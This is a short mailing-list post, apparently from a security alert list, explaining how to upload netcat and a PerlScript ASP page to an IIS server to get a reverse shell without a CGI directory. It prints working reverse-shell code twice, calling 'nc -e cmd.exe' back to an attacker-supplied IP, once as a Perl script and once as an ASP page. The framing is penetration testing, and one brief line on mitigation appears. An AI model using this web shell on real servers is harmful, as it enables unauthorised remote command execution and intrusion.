use of Perlscript to bypass executable restrictions

[Mike Shaw <mshaw () wwisp com>]

Here's one for the bag-o-tricks....

Goal:  Get a netcat prompt
Method:  upload a script to IIS that will execute nc.exe via the web server.
Problems:  No "executable/CGI" directory, inability to upload to an 
"executable/CGI" directory

If you can get access to the webtree of an IIS server with ActivePerl 
installed, one method to snag the coveted prompt is to upload netcat and a 
perl script that will execute netcat to spawn a shell when hit via the web 
browser.  The perl script should just contain something like this 
(launchnc.pl):

system("nc -e cmd.exe -n [myip] 25");

Unfortunately, not every web site has a cgi-bin or equivalent and you'll 
get an execute permission denied.  If they do have a cgi-bin, the physical 
location may be 'remote' from the regular web root with little or no clue 
as to where it's mapped to.  Also, even unsecured or improperly configured 
frontpage extensions will usually still prevent you from uploading a cgi 
script even if you find a directory that's willing to execute it.

But many sites have 'scripting' enabled on nearly all directories.

An oft overlooked feature of ActivePerl is "perlscript".  This is a type of 
perl scripting that can be placed directly into ASP pages, and doesn't seem 
to be considered a CGI type of script by IIS.  The good news in a pen-test 
is that you can do most of the same things using perlscript ASP as you can 
in a full blown Perl CGI (launchnc.asp):

<%@ Language = PerlScript %>

<%
system("nc -e cmd.exe -n [myip] 25");
%>

Note that this will work where nc.exe is in the same directory as the 
script (the lack of 'executable' permission won't bother it).  If nc.exe is 
somewhere else you'll have to provide a path.

So as long as you can upload to a directory with scripting enabled, you're 
in business (or bid-ness, as they say where I'm from).  Of course, you'll 
be in the context of IUSR so standard privilege escalation procedures 
apply.  In addition to spawning nc, think of all the powerful tools you 
could write using perlscript....

As far as I know perlscript is installed by default when ActivePerl is 
installed.  I haven't tried it, but it would seem that NOT installing 
perlscript is the only surefire way to avoid this type of abuse.  The only 
thing I found on ActiveState's pages regards disabling it for client-side 
vulnerabilities (which is a whole other topic).

http://aspn.activestate.com/ASPN/Reference/Products/ActivePerl/Components/Windows/PerlScript.html
(may be wrapped)

Anyway, this isn't some big discovery, but it's something I hadn't thought 
of until I actually started looking at Perl on a particular IIS 
host.  Maybe someone else will find it useful in the wild.

-Mike


----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/